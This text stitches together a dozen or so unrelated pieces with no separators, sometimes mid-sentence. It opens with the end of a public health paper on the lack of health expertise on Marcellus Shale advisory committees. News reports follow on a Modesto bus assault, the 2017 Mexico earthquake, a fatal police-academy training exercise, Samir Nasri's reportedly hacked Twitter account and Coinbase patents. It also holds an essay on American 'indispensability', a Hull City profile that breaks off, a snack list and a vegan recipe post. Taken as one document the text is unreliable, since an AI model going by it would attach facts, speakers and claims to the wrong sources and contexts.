available information, we were unable to identify any public health personnel, physicians, nurses, pharmacists, dentists, or others with a health background on the three advisory committees. Evaluation of public concerns. Categorization of the 110 public comments at the SEAB Natural Gas Subcommittee meeting in Washington, Pennsylvania, revealed 51 speakers favorable to shale gas drilling and 59 opposed (Natural Gas Subcommittee 2011). Among the opposed, the major concerns discussed included the negative effects of Marcellus Shale drilling on the environment expressed by 46 speakers (78%), concern regarding the safety and/or regulation of the natural gas drilling industry expressed by 41 (69.5%), and concern for residents’ health expressed by 37 (62.7%) ( ). Other concerns ranged from general effects on air, water, and ecosystems to concerns about the potential for negative health effects on humans. Of those opposed, 12 (20.3%) attributed a direct negative health impact on themselves, a family member, or a friend to Marcellus Shale drilling. Almost a quarter of the speakers opposed to drilling expressed concerns regarding the make-up of the committee, including the potential for bias toward industry interests and a lack of expertise among committee members regarding their specific concerns. Table 1 Concern n (%) Environmental concerns 46 (78.0) Safety and regulation of industry 41 (69.5) Negative effects on water 39 (66.1) General health concerns 37 (62.7) Negative effects on air 23 (39.0) Chemicals in water 22 (37.3) Bias, conflict of interest, or lack of expertise in desired subject area by members of the committee 14 (23.7) Health problem in family member attributed to drilling 12 (20.3) Personal legal rights have been infringed upon by companies 8 (13.6) Export of domestic natural gas resources 6 (10.2) Depreciation in property values 4 (6.8) Open in a separate window
Discussion Recent technological and operational improvements in extracting natural gas resources, particularly shale gas, have increased gas drilling activities nationally and led to significantly higher natural gas production estimates for decades to come (Considine et al. 2010). The potential for adverse environmental public health consequences has been recognized by the public, who are concerned, and by members of the government, who have asked for advice. However, despite these stated concerns for potential public health impacts from Marcellus Shale activities, none of the three recently formed advisory bodies include any recognizable expertise in assessing environmental impacts on human health, nor have they invited participation from state or federal agencies with direct public health responsibilities. This is not the only recent instance in which environmental public health expertise has not been at the table despite obvious human health implications of an environmental issue. President Obama’s seven-member National Commission on the BP Deepwater Horizon Oil Spill and Offshore Drilling was co-chaired by former U.S. EPA administrator William Reilly and Senator Bob Graham and has one member, Donald Boesch, who is a professor of marine science and has extensive experience in ecosystem research. However, no members of this committee have a background in environmental public health. Other recent advisory committee reports on natural gas extraction include that of the National Petroleum Council, whose membership primarily is from the petroleum industry but also includes government personnel and university faculty. Its extensive report of impacts on wildlife habitat and on the environmental footprint of oil exploration and operations includes only an occasional reference to human health (National Petroleum Council 2011). We can only conjecture about the reasons that environmental public health experts or organizations have not been included in advisory bodies related to Marcellus Shale activities. It is unlikely that the failure to include environmental public health expertise is due to lack of recognition that there is reason to be concerned about human health risks. Such concern is clearly stated by the two state governors and by President Obama in establishing their advisory committees. Nor can it be a lack of awareness of the well-publicized public concerns about the potential health impacts of Marcellus Shale activities, which have been forcefully described by the public in numerous hearings. In Pennsylvania, the absence of the Department of Health or of any public health expertise in the 31-member Governor’s Marcellus Shale Advisory Commission could reflect the relative weakness of that state’s public health infrastructure. Although having expert health departments at the state level and in some localities, Pennsylvania ranked last nationally in a survey sponsored by the Health Resources and Services Administration on the size of the public health workforce in each state (37 per 100,000, vs. the national mean of 138 per 100,000) (Gebbie et al. 2000; Potter 2008). However, Maryland did relatively well in this regard (304 per 100,000) and ranked first in its region, which includes Pennsylvania. University-based expertise is well represented in the federal SEAB subcommittee, with three of its seven members being respected academics, but academia is not particularly well represented in the two state advisory committees. In Pennsylvania, only one of the 31 members has a direct university affiliation. Maryland also has only one of its 14 members from academia, although in this case it is the committee chair. None of the three committees includes members with academic expertise in health science or ecosystem sciences; that is, none of the five academic members has expertise in biological systems or human health. Ecosystem concerns are represented in these three advisory committees through the presence of leaders of environmental organizations that are particularly involved in ecosystem health, such as the Nature Conservancy, Trout Unlimited, Savage River Watershed Association, Pennsylvania Environmental Council, Western Pennsylvania Conservancy, and Chesapeake Bay Foundation. But there is no representation from organizations known primarily for their concern about human health and the environment. Some of the environmental organizations whose leaders are members of the advisory committees, such as the Environmental Defense Fund, have been involved with human health issues as well as more general environmental preservation. But none of the advisory committee members has personal expertise in human health. The failure to choose academics that have expertise in human health issues and the environment is not because of lack of such expertise. Both Maryland and Pennsylvania have reasonably robust academic public health infrastructures, with each having two accredited schools of public health, and Maryland having three and Pennsylvania five accredited programs of public health. All four schools of public health have formal departments in the field of environmental health, and accreditation as a program requires at least sufficient faculty to teach a core course in environmental health. Both states do well in another indicator of academic expertise in environmental health sciences, that of funding from the NIEHS. In fiscal year 2010, Maryland received 4.7% of total NIEHS funding and Pennsylvania 4.3%; the states have 1.9% and 4.1% of the total U.S. population, respectively (DHHS 2011). Political and bureaucratic issues deserve further consideration. President Obama gave the lead on Marcellus Shale to the Secretary of Energy in consultation with the Department of Interior and the U.S. EPA. The rationale for not including the DHHS is not clear. Arguably, the DOE does have some health expertise, because it has various organizational structures dealing with health and safety related to energy or to the cleanup of atomic materials production sites. Although conceivable, we do not believe that the authorities fail to recognize the difference between environmental and public health expertise, particularly because in each case the executive orders separately specify environment and health. One can argue that the U.S. EPA, which at its formation included components moved from the U.S. Public Health Service, does have public health responsibilities (Goldstein 1988; Johnson 2010). Evidence that the U.S. EPA does take its public health responsibilities seriously includes a recent reorganization to include an Environmental Public Health division (U.S. EPA 2012). Lisa Jackson, the Administrator of the U.S. EPA, in speaking about sustainability, often uses classic public health language by pointing out that sustainability is similar to pursuing wellness instead of treating disease (Jackson 2010). Congress provided the U.S. EPA’s Office of Research and Development with funding specifically to look at groundwater contamination from Marcellus Shale hydrofracturing (U.S. EPA 2011). This appropriation did not allow studies of the potential environmental or human toxicity of fracking compounds or of the potential for air pollution—although it is not clear why the U.S. EPA does not use other funding for such research. This at least raises the possibility that political leadership does not want research on human health because of concerns that equivocal or positive findings might inhibit economic development or offend major industries. Environmental public health experts may be seen as more likely to raise problems than to find solutions. To explain the absence of environmental public health expertise in governmental advisory processes related to the Marcellus Shale, we are left with the distinct possibility that it is the fault of the environmental public health community. We have not worked as hard or as effectively as we could or should with local, state, or federal governmental organizations responsible for making decisions on environmental matters. These governmental organizations extend well beyond state departments of health or the federal units that are part of the DHHS. Simply being able to provide the science needed for effective environmental decision making is not sufficient if our science does not inform decisions that are made. A proactive approach to working with the broad range of federal and state agencies involved in environmental decision making, and with the public, including providing economic analysis related to potential positive and negative health impacts, is central to converting our knowledge to protection of human health and the environment (Hearne 2008; Longest and Huber 2010; Rutkow et al. 2009)
Conclusions Environmental public health is not yet at the table in governmental advisory processes related to drilling in the Marcellus Shale. The explanation for the lack of involvement of the environmental public health community does not appear to be a failure to recognize the importance of public health to this issue by the president or the governors, nor is it a lack of public concern. Expertise in the impact of environmental factors on public health is also readily available. Political concern that evaluation of the potential environmental public health consequences of shale gas drilling may find a problem that slows down the rush to develop the Marcellus Shale may be an important factor. However, we believe the most likely major cause is the failure of a relatively robust community of environmental public health experts to adequately project this expertise into the state and national debates about developing natural resources. Larry Gordon (1990) has noted the lack of involvement of environmental public health in key environmental issues. He emphasizes the importance of increasing the numbers and the training of the environmental health workforce. More than two decades later, review of the advisory processes developed to make recommendations concerning natural gas suggests that we need to go beyond standard infrastructure issues to consider how best to project environmental public health concerns at the local, state, and national levels.
Acknowledgments We acknowledge the Heinz Endowments (Pittsburgh, PA) for their support of the Center for Healthy Environments and Communities (CHEC). We also acknowledge the helpful assistance of the CHEC staff.MODESTO (CBS13) – Police say Kevin Long, sex offender, attacked a 15-year-old girl on a bus just hours after his release.
“I just wanted to get him away from the children,” said Curtis Mitchell.
Mitchell was one of the Good Samaritans aboard the Modesto bus when Long allegedly started making inappropriate comments to a 15-year-old girl on her way to school.
“He had made a verbal gesture to the young lady about ‘have you had sex yet’ and the girl was freaked out,” said Mitchell.
Mitchell kept an eye on Long during the interaction.
“All of the sudden, he just lunged out of his seat and grabbed her crotch area,” said Mitchell.
That’s when Mitchell and his four friends, who are disabled and homeless, jumped into action.
“One of the gentlemen had his neck. Joe had the body. He got there first, and I got the legs, twisted the legs and sat on his legs,” said Mitchell.
Mitchell and the others held him down for three blocks, until the bus driver pulled into the transit center, where police officers were waiting.
Turns out, Long was staying at the same shelter as the men who took him down.
“He thought nobody was going to do anything. Well, he was wrong and we got him,” said Mitchell.
Long was released from prison one day before the bus attack.
The 37-year-old has been in and out of prison since 1995, when he served time for trying to rape someone.
Not long after, he was locked up on drug charges; and most recently, Long served an eight-year sentence for burglary and making terrorist threats.
Mitchell’s back is a little sore, but he says it’s worth helping a defenseless child.
“I’m not no hero. I’m a regular person. I have kids, grown up now, but I would hope someone would help my kids if they needed it,” said Mitchell.
Long denied a CBS13 request for an interview. He is scheduled to appear in court Thursday.Media playback is unsupported on your device Media caption Moments after the earthquake hit
At least 21 children and five adults died at a primary school which collapsed in Mexico City during Tuesday's quake, the government says.
The shallow, 7.1 magnitude quake killed at least 230 people in total and caused major damage across states in the centre of the country.
Desperate searches for survivors under the rubble are continuing.
Hopes rose at the school when a girl was located alive and a delicate operation to rescue her is under way.
Dozens of buildings collapsed across the country, including several churches where worshippers were killed.
Families with young children could be seen sleeping outside their homes in the street in the capital.
President Enrique Peña Nieto has declared three days of mourning.
The tremor struck shortly after many people had taken part in an earthquake drill, exactly 32 years after another quake killed thousands in the capital.
Interactive Slide the button to see how a Mexico City street looked before and after the quake 20 September 2017 March 2016
Mexico is prone to earthquakes and earlier this month an 8.1 magnitude tremor in the south left at least 90 people dead.
Though it struck a similar region, Tuesday's earthquake does not appear to be connected with the quake on 7 September, which was at least 30 times more energetic, the BBC's Jonathan Amos writes.
What do we know about the school disaster?
Enrique Rébsamen primary school, in Mexico City's southern Coapa district, collapsed.
Confirming the death toll, Education Minister Aurelio Nuño said 11 people had been rescued while two children and an adult were missing.
Local media had reported a higher death toll earlier.
More than 500 members of the army and navy, along with 200 police officers and volunteers, have been working at the site, Mexican newspaper Milenio says.
Media playback is unsupported on your device Media caption Rescuers searched for survivors under the rubble at Enrique Rébsamen primary school in Mexico City
Details of the girl located on Wednesday have not been given. Rescuers detected her after she moved her hand and a hose was lowered to supply her with water.
Civil Protection volunteer Enrique Gardia told the assembled crowd that a thermal scanner had detected several survivors trapped between slabs of concrete.
"They are alive! Alive!" he shouted.
"Someone hit a wall several times in one place, and in another there was a response to light signals with a lamp," he added.
One mother, standing nearby waiting for news of her seven-year-old daughter, told reporters: "No-one can possibly imagine the pain I'm in right now."
At least 209 schools were affected by the quake, 15 of which have suffered severe damage.
Set on saving lives
By Rajini Vaidyanathan, BBC News, Mexico City
In the heat and humidity of Mexico City, there's also hope. Police officers guard a six-storey office and residential building in the Bohemian La Condesa neighbourhood. The concrete structure has been flattened to a towering mass of bricks and twisted metal.
The damage is so severe I had to look at the building next door, which remains intact, to get an idea of its neighbour's pre-quake state. Moments later a team of rescuers in blue overalls and red hats strap head torches on as they prepare to enter the building.
More than 50 people have been rescued in this city so far. People here are determined to make sure that it's that figure that climbs, and not the death toll.
As is often the case in the wake of a devastating natural disaster, people are also displaying resilience.
Hundreds of people are wandering the streets holding handwritten signs which offer water and food to people.
A man also holds a sign which says "no smoking". The earthquake has led to many gas leaks and that, as well as the fear of further aftershocks, remains a concern here.
Where else was hit?
The epicentre of the latest quake was near Atencingo in Puebla state, about 120km (75 miles) from Mexico City, with a depth of 51km, the US Geological Survey says.
The prolonged tremor hit at 13:14 local time (18:14 GMT) on Tuesday and sent thousands of residents into the streets.
Most of the victims died in the capital, according to government figures:
Mexico City: 100 dead
Morelos state: 69 dead
Puebla state: 43 dead
Mexico state: 13 dead
Guerrero: Four dead
Oaxaca: One dead
Image copyright EPA Image caption Eleven people were killed at this church in Atzala, Puebla state
Fifteen people were killed when a church near Mexico's Popocatepetl volcano collapsed during Mass. The volcano itself had a small eruption as a result of the tremor.
In Atzala, Puebla, another church collapsed during a baptism, killing 11 people including the baby, Church officials told Efe news agency.
Alfredo del Mazo Maza, governor of the State of Mexico, said schools would be closed on Wednesday. He also ordered all public transport to operate services for free so that people could travel home.
What happened in 1985?
An earthquake drill was being held in Mexico City on Tuesday to mark the 32nd anniversary of a magnitude 8 quake that killed up to 10,000 people and left 30,000 others injured.
The severe tremor caused serious damage to Mexico City and its surrounding areas, with more than 400 buildings collapsed and thousands more damaged.
Media playback is unsupported on your device Media caption The strong quake was felt in the capital, Mexico City
Correspondents say that residents may have mistaken earthquake alarms for part of the day of drills in the wake of the 1985 quake.
Mexico City is one of the most densely populated cities in the world, with more than 20 million people living in the metropolitan area.
Why is Mexico so prone to earthquakes?
Mexico is one of the most seismically active regions in the world, sitting where three of the Earth's tectonic plates - the North American, Cocos and Pacific plates - meet.
Media playback is unsupported on your device Media caption Mexicans were distraught as they surveyed the damage from the quake
The latest tremor occurred near the boundary between the North American and Cocos plates, where the latter slides beneath the former.
According to the US Geological Survey, the country has seen 19 earthquakes of at least 6.5 magnitude within 155 miles of the epicentre of Tuesday's quake over the past century.
How has the world reacted?
Foreign leaders sent messages of support as the scale of the disaster became clear:
US President Donald Trump, who has courted controversy with his plans for a border wall with Mexico, tweeted: "God bless the people of Mexico City. We are with you and will be there for you"
Canadian Prime Minister Justin Trudeau also tweeted his support following the "devastating news"
Costa Rican President Luis Guillermo Solis, in New York for the UN General Assembly, expressed his "solidarity" with the Mexican people
Pope Francis said his thoughts and prayers were with the families of those who had lost loved ones in the "devastating" quake. "In this moment of pain I want to express my closeness and my prayer to all of the beloved Mexican population," the pontiff said at the Vatican
The Mexican government issued the following guidance on what to do if a quake strikes in the country:
stay calm
find the evacuation route and meeting point
stay away from windows and objects that may fall
in case of emergency call 911
do not use lifts
The UK Foreign Office has said that those travelling to Mexico should follow the advice of the local authorities.PUNTA GORDA, Fla. — A woman was shot to death during a “shoot or don’t shoot” training exercise Tuesday at the Punta Gorda Police Academy, according to police.
Punta Gorda police Chief Tom Lewis said the woman was “mistakenly struck with a live round” during a Citizens Academy scenario designed to simulate the use of lethal force. It’s not clear how the apparent fatal ammunition mix-up occurred.
The woman, identified as Mary Knowlton, was randomly selected to participate in the exercise as roughly 35 people watched.
She was shot multiple times during a role-play exercise in which the officer pretended to be the “bad guy,” with Knowlton playing the victim, a photographer covering the event told the Charlotte Sun.
Knowlton was rushed to an area hospital where she was pronounced dead.
The Citizens Academy is designed to teach local civics to civilians who apply for the eight-week course, according to Punta Gorda’s website.
#BREAKING – incident at Citizens Police Academy at #PuntaGorda Police Dept. pics courtesty wbbh tv @WFLA pic.twitter.com/NOCdjrfDgu — Paul Michael Mueller (@WFLAPaulM) August 10, 2016
“I am devastated for everyone involved in this unimaginable event,” Lewis said in a statement. “If you pray, please pray for Mary’s family, and for the officers who were involved. Everyone involved in this accident is in a state of overwhelming shock and grief.”
An investigation into the shooting is ongoing.
The Punta Gorda Police Department released a statement on the shooting.It was May 23, 2012, and President Obama was giving a graduation speech at the Air Force Academy when he told the assembled cadets that they should “never bet against the United States of America… [because] the United States has been, and will always be, the one indispensable nation in world affairs.” On that basis, he suggested, the twenty-first century, like the twentieth, would be an American one. Then, on October 23, 2012, in the final presidential debate with Mitt Romney, he reiterated the point, saying: “America remains the one indispensable nation, and the world needs a strong America, and it is stronger now than when I came into office.”
That phrase, “the indispensable nation,” is of relatively recent coinage, but it is now seemingly an indispensable word for any American politician and so it’s not surprising that the president continues to cling tightly to it. On May 28, 2014, for instance, giving another commencement speech, this time at West Point, he once again went for that indispensable rhetorical jugular. “And when a typhoon hits the Philippines,” he assured the cadets, “or schoolgirls are kidnapped in Nigeria, or masked men occupy a building in Ukraine, it is America that the world looks to for help. So the United States is and remains the one indispensable nation. That has been true for the century passed and it will be true for the century to come.” (Of course, to this day those schoolgirls remain kidnapped and there are still masked men in buildings in Eastern Ukraine, but those are small points indeed.) On August 26th, Obama returned to the theme, speaking to the national convention of the American Legion. “No nation,” he told the assembled veterans ringingly, “does more to help people in the far corners of the Earth escape poverty and hunger and disease, and realize their dignity. Even countries that criticize us, when the chips are down and they need help, they know who to call — they call us. That’s what American leadership looks like. That’s why the United States is and will remain the one indispensable nation in the world.”
ORDER IT NOW
You get idea. We are… go ahead, chant it: indispensable! And this is: our century… if you don’t mind my completing the phrase… to screw up totally. As it happens, that word “indispensable” is often used without any indication of what exactly our indispensability consists of. Evidence from the last 13 years, however, suggests that we have been exceptionally, indispensably, undeniably, inscrutably important when it comes to destabilizing significant chunks of the planet and encouraging the growth of jihadist organizations. Now, in the post-9/11 exceptionalist sweepstakes, President Obama and his crew (with the Republican wolves of war baying at his heels) have evidently decided to outdo themselves by launching yet another war, even lamer than the previous ones, based on an expanding bombing campaign that’s going nowhere. Today, State Department whistleblower and TomDispatch regular Peter Van Buren offers a sweeping worst-case vision of American indispensability in the Middle East. And as an account of disasters to come — I don’t hesitate to say it! — it is both exceptional and indispensable reading as the latest iteration of the American Century goes down in flames.Get the biggest football stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Footballer Samir Nasri claims his Twitter account was hacked after he allegedly tweeted numerous posts about a tryst with a doctor.
The ex-Manchester City star's social media account shared multiple posts claiming to have received a "full sexual service" from a doctor who provided him with an IV drip to "keep him hydrated".
The Sevilla star is believed to have received an IV vitamin drip.
But his praise of 'Drip Doctors' went a little awry when his account starting tweeting claims that the footballer got a little more than a health boost.
(Image: @dripdoctors/Twitter)
(Image: Getty)
Nasri's account tweeted: "U also provided me a full sexual service too right after. So guys make sure you get this service. This w***e comes and f**s the same night.
"Please tell the world aswell of the other concierge treatment your girl gave straight after the iv drip."
(Image: FameFlynet)
(Image: Twitter/@SamNasri19)
(Image: Twitter/@SamNasri19)
(Image: Twitter/@SamNasri19)
The tweets also claim Nasri's ex-girlfriend, Anara Atanes, booked the drip.
(Image: Twitter/@SamNasri19)
(Image: Twitter/@SamNasri19)
The posts continued: "Sorry guys i just had to let the world know that my girlfriend anara who was with me at the time had booked this girl to give me an iv drip.
(Image: Twitter/@SamNasri19)
"On arrival anara had left the room and this girl had asked for my number and to go out with me that night. She then continued to give me... a full service in my hotel room so doubling up her services. Just giving you boys a heads up on this service from @DripDoctors."
(Image: FameFlynet)
The French international soon tweeted a denial, claiming his Twitter account had been hacked.
He posted: "Someone hacked my account and tried to spread rumors which is fake i am sorty for all the ppl involved in that i apologies."
(Image: Twitter/@SamNasri19)
(Image: Twitter/@SamNasri19)
(Image: Twitter)
All of the tweets, including the apology, were later deleted.
The Drip Doctor Twitter account also tweeted claiming the star had been hacked.
They wrote: "@SamNasri19 account has been HACKED and the recent tweets about @dripdoctors are all FALSE, this will be confirmed shortly. Thanks."
Related video - Nasri risks Pep's wrath as he appears in rap videoRobin Young tries her hand with Jacques' whip. (Karyn Miller-Medzon)
Correction: The original version of this story said that Jack Lepiarz succeeded in breaking the record. On Dec. 1, 2015 Lepiarz was informed that the video he submitted was several whip cracks short of the record. He told Here & Now that he will reattempt the feat next year.
By day, mild-mannered Jack Lepiarz is a news anchor for WBUR in Boston, and the voice of Here & Now's headline news.
But like Clark Kent, Jack has a secret alter ego. On weekends, he takes up a whip, paints on a mustache and appears at Renaissance fairs around the country as "Jacques Ze Whipper."
It's an act that requires a fair amount of skill and fitness, and one he takes seriously - despite the fake French accent. To prove that skill, Jack, or Jacques, set out this fall to set the Guinness World Record for the most whip-cracks in a minute.
Here & Now hosts Jeremy Hobson and Robin Young talk to Jack about his skills and try their own hand at cracking his world-record whip.
Guest21-year-old Qazi Muhammad Shoukat Ghani died during a firefight in Pakistan’s Southern province of Balochistan.
Shoukat, an Ahmadiyya Muslim by faith was a resident of Rabwah and was a sepoy in the Kashmir Regiment. He was killed after his post in the Pasni area of Balochistan came under fire from separatist militants.
Shoukat’s body was brought back to Rabwah under strict security arrangements and was buried Monday in the ‘Martyrs Graveyard’ with full military honors. Pakistani army personnel placed flowers on behalf of Pakistan’s Prime Minister and the Chief of Armed Forces.
Talking to the media Shoukat’s father Qazi Abdul Ghani said:
“I am proud that my Son has given his life for his country”
Shoukat’s family moved to Rabwah after their house in Azad Kashmir regularly got caught in crossfire between Pakistani and Indian forces.
On Friday, 8th April Head of Ahmadiyya Muslim Community offered Shoukat’s funeral prayer in absentee and praised his services to Pakistan and the Ahmadiyya Muslim Community.The following article isn’t for those with a short attention span, but the story of how Ian Ashbee became a bonafide City legend justifies lengthy prose.
Hull or Barnet? I know of two people who have been faced with this choice. One is myself. I ended up in Barnet, purely for career reasons. The other is Ian Ashbee. Happily, he chose Hull, albeit reluctantly. I think it’s fair to say that Hull got very much the better of that particular deal.
It seems almost unthinkable that the summer of 2002 saw Ian Ashbee as good as admit that he wanted the Underhill club to come in with an offer to match Hull City’s three-year contract so that he wouldn’t have to relocate from his Barnet home to Yorkshire. He also didn’t seem averse to staying at Cambidge should they offer him better terms. However, both teams refused to budge so Ashbee had to. One Wembley appearance, two career-threatening injuries and three promotions later, Ash must have looked at Barnet’s position at the end of any given season – rarely veering outside of the 90th and 94th positions in the English football pyramid – or Cambridge’s plummeting through the leagues, and allowed himself a wry smile at the hand that fate had dealt him. For both player and club, that simple offer of three years of employment was to result in the wildest of journeys.
You may be expecting this story of a captain who led a success-starved Hull City to three promotions, the latter of which saw the club promoted to the top flight for the first time in its then-104-year history, to be gushing in its praise of our greatest of leaders. You’d only be partially right. Ash was the lower-league plodder made good. Given what his chief talents were – winning tackles, physical domination, leading men – his career could easily have remained in English football’s third and fourth tiers; such qualities are ten-a-penny in English football. With every promotion that came Hull City’s way, questions would inevitably be asked about whether Ash would be able to cut it at the next level. When he was leading the celebrations after our 2-1 victory at the Emirates, after spending 90 minutes snuffing out any threat posed by Cesc Fabregas, Ash had, somewhat emphatically, answered his doubters.
Ash was born in Birmingham and raised a Blue. However, it was the Baseball Ground and not St Andrews where he served his football apprenticeship. He was only to don the |
– Original; Ranch Herb; Onion & Garlic; Barbecue, Cheddar & Sour Cream.
Jays E-Z Dippin's (discontinued) – Mini Pretzels & mustard; Tortilla Chips & Nacho Cheese Dip; Tortilla Chips & Salsa
Jays Potato Chips – Original; Barbecue; Cheese; Salt 'n Sour; Sour 'n Dill; Hot Stuff, Jay's bacon & cheddar Krunchers! (kettle and corn chips) Krunchers! Potato Chips – Original; Reduced Fat; Cheddar & Sour Cream; Jalapeño; Sea Salt & Cracked Pepper; Mesquite Bar-B-Que; Hawaiian Sweet Onion; Hot Buffalo Wing; Kosher Dill
Krunchers! Sweet Baby Jays (discontinued) – Chips made from sweet potatoes; introduced summer 2006 [3]
Krunchers! Corn chips – Spicy Four Cheese; Guacamole; Jalapeño O-Ke-Doke (popcorn) O-Ke-Doke Balls of Fire
O-Ke-Doke Hot Cheese Flavored Popcorn
O-Ke-Doke Cheese Popcorn
O-Ke-Doke Chicago Mix Popcorn (Cheese and Caramel Corn)
O-Ke-Doke White Cheddar Popcorn Hot Stuff (other snacks) Hot Stuff Crunchy Cheezlets
See also Edit
Notes Edit
Bibliography EditBitcoin services firm Coinbase has filed nine patent applications with the US Patent and Trademark Office (USPTO).
The USPTO – the agency responsible for issuing patents to investors and businesses as well as registering product and intellectual property trademarks – received the submissions on 17th March this year.
According to the filings, published this month, Coinbase submitted patent applications for various products including a hot bitcoin wallet, an instant exchange (which the company launched in June), a bitcoin exchange, a bitcoin tipping button alongside two off- and on-blockchain transaction systems.
Although published by the USPTO, Coinbase’s applications are still pending approval, a process which Eitan Jankelewitz, a solicitor at London-based law firm Sheridans, said can take years.
He told CoinDesk:
“The process seeks to establish that the invention is patentable (some things, such as abstract ideas, aren’t patentable). Then the ‘novelty’ of the invention is considered – if the invention was known/or available to the public, it won’t be patentable. It has to be new.”
The USPTO process also allows the public to oppose patents if they believe the application in question is not justified.
Business necessity
Speaking to the bitcoin community on Reddit, Coinbase CEO Brian Armstrong defended the company’s decision to file for patent protection, an often contentious subject in the largely open-source community.
Armstrong further told CoinDesk that the intent is not for the patents to be used to push out smaller competitors.
“While it would be irresponsible for Coinbase not to apply for patents (we need to protect ourselves from larger companies engaging in patent warfare), we can certainly commit to not using patents offensively against smaller companies,” he said.
The CEO went on to say that while he does not personally believe in software patents, the company would invest effort in ensuring it would “play nice” while navigating the realities of the patent space.
Patents in crypto
Coinbase – which has raised $106.7m in venture funding to date – is not the only company applying for crypto-related patents.
Just yesterday, CoinDesk reported that the USPTO had published a patent filed by US financial services giant Bank of America which attempted to protect a cryptocurrency-based wire system.
Additional crypto-related patent applications have been submitted by the likes of Mastercard and IBM, while online shopping giant Amazon was awarded a bitcoin-related cloud computing patent in May last year.
Hat tip: Brian Cohen/Let’s Talk Bitcoin.
San Fransisco image via ShutterstockANN ARBOR, Mich. - It's been spotted during the day and it's been seen lurking at night.
Some think this mysterious animal is just a cat or a dog, but other people living in the city of Ann Arbor think it could be cougar.
Ann Arbor resident March Such says she spotted a big, brown animal Tuesday running past at about 5 p.m.
She said she was walking her dogs near the Leslie Woods Nature Area when she spotted the mysterious animal.
"It wasn't anything I've ever seen before. It was moving really fast and was really low to he ground," Such said. "I've seen plenty of deer before and it wasn't a deer."
Dennis Fijalkowski, executive director for Bath-based Michigan Wildlife Conservancy says he has no doubt there is a cougar roaming through Ann Arbor.
"They've been around since the 50s," Fijalkowski said. "They followed the deer down from the U.P. We've had many reports from Bay County and in and around the Thumb. Any place you have a big deer population, you're going to have cougars."
But the Michigan Department of Natural Resources disagrees.
"We have not confirmed any (cougars) in the Lower Peninsula," said Adam Bump, a specialist with the DNR. "We've confirmed quite a few in the Upper Peninsula since 2008. We look at a lot of potential sightings and pictures taken in the Lower Peninsula, but we have not been able to verify them."
Brad Chick from Ann Arbor says coyotes, yes. Cougars, no.
"We definitely have coyotes around here. While I've heard the rumors I think people just don't know what cougars look like," Chick said.
But Such says she is still keeping an eye out.
"I am convinced there is a cougar out there and people should know about it especially if they have small children and animals," she said.
Copyright 2012 by ClickOnDetroit.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.September 21, 2017 | Written by Kate Tuggle
Growing up, I loved learning to cook traditional Native American dishes that had been passed down in my family for centuries. In the Choctaw tradition, my grandparents kept a garden year-round and grew a diverse mix of vegetables, including corn, squash, tomatoes, lima beans, bell peppers, and kale.
As I got older and began to learn more about the horrors of using animals for food and the dairy industry, I relied heavily on my family’s ancient recipes, because not only were they delicious, they were also completely vegan, naturally.
For me, preparing these dishes is not only a celebration of my heritage but also a celebration of life for all animals! One of my fondest memories of cooking with my grandfather is hearing a traditional Choctaw folktale about a forest-dwelling creature named Kashehotapalo. He was half-deer and half-man, and he protected animals from hunters. Whenever he spotted a hunter with his bow raised toward an animal, he would create a diversion and frighten the hunter, giving the animal a chance to escape.
Although the options for Choctaw (and all Native American) dishes are endless, some of my favorites are below. As you read about them, remember that you can get as creative as you want when you make them. I love adding chunky corn kernels to the cornbread or tossing some extra peppers into the succotash.
Yakoke, chi pisa lachike! (Thanks, and see you later!)
In Native American mythology, squash, corn, and beans are known as the “three sisters”—they’re the same crops that the harvest festival of Thanksgiving is meant to celebrate. If you bake your pumpkin or squash a day ahead, the stew will come together in a snap.
Cornbread, a Native American staple, was my family’s bread of choice for almost every meal. Tenda-Bake Self-Rising Corn Meal Mix is a great starting point. In addition, all you’ll need are soymilk, a vegan egg replacer (I prefer applesauce for cornbread), and some vegetable shortening or margarine. It couldn’t get any easier!
This warming autumnal staple is one of my go-to dishes from October to February. Fresh parsley and thyme really bring out the rich flavor of the squash, and if you’re going for a more gourmet experience, there’s nothing quite like truffle oil to give this basic soup an exciting flourish.
There are countless ways to prepare stuffed squash (for instance, I have often made it stuffed with leftover cornbread and lima beans), but this recipe is one of my favorites. With a hint of nutmeg and cinnamon, this delicious dish is perfect for the holidays.
This simple combination of lima beans, butter beans, onions, corn, and bell peppers is one of my favorites. I love it warm as a main dish or chilled as a salsa-style dip. Canned, fresh, or dried beans work well, and it’s delicious with corn chips. If you’re serving it warm, be sure to sauté the onions in olive oil and salt for extra flavor.
This recipe is as easy as it gets. Over the years, I’ve seen some recipes for this dish that include eggs, but traditionally, eggs were never used, as they’d mean that the dish would not be as crispy when fried and that any leftovers would require refrigeration. I’m especially fond of the Cajun seasoning in the mix, which gives it a bit of Southern flair.
This recipe from Superfood Cuisine is a delicious twist on a very traditional autumnal dish that included almost everything in the garden. In addition to black-eyed peas and kale, it features onions and garlic—and I love throwing in corn and carrots, when they’re available.
Hope this fall season is warm and cozy for you! Feel free to take a look at our vegan comfort food recipes, too, as the weather turns colder.
Are you ready to go vegan, but haven’t taken the plunge? Order a free vegan starter kit today!Frank Seravalli TSN Senior Hockey Reporter Follow|Archive
If there was any confusion about what Dustin Byfuglien said over All-Star Weekend about Winnipeg, he cleared the air after Tuesday night’s loss.
Byfuglien, 30, said he wants to be back with the Jets.
“Yeah, I’d love to,” Byfuglien told reporters. “I’ve met a lot of good people and now some really good friends. I’ve been here for a long time. You never want to leave home. I’ve been here long enough; my family has been here and I’ve had two kids here.
“It’s somewhere you don’t want to leave.”
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He raised eyebrows in Nashville last Friday when asked if his overall preference was to remain in Winnipeg.
“I just want to put on a jersey, to be honest with you,” Byfuglien replied. “I don’t mind Winnipeg at all. It’s close to home for me - it’s probably the closest I’ll ever get to play by home. There’s so many good things that I like about Winnipeg. I can do my outdoor stuff that I love to do. I have no problem being up there.”
Some suspected Byfuglien used that choice of words, perhaps, as a negotiating ploy in an effort to draw the Jets closer to his demands. The Jets have been in contact with Byfuglien’s agent, Ben Hankinson of Octagon Hockey.
Byfuglien is a pending unrestricted free agent, due another big payday - and the Jets can ill-afford to let either him or fellow free agent Andrew Ladd walk in the summer without a return before this month’s trade deadline. That means one of them is likely to go. And if Byfuglien were to be available, he would top TSN’s annual Trade Bait list.
The truth is ‘Buff’ was probably just being ‘Buff’ in Nashville, with his easygoing and almost shy nature likely clouding his intended impact.
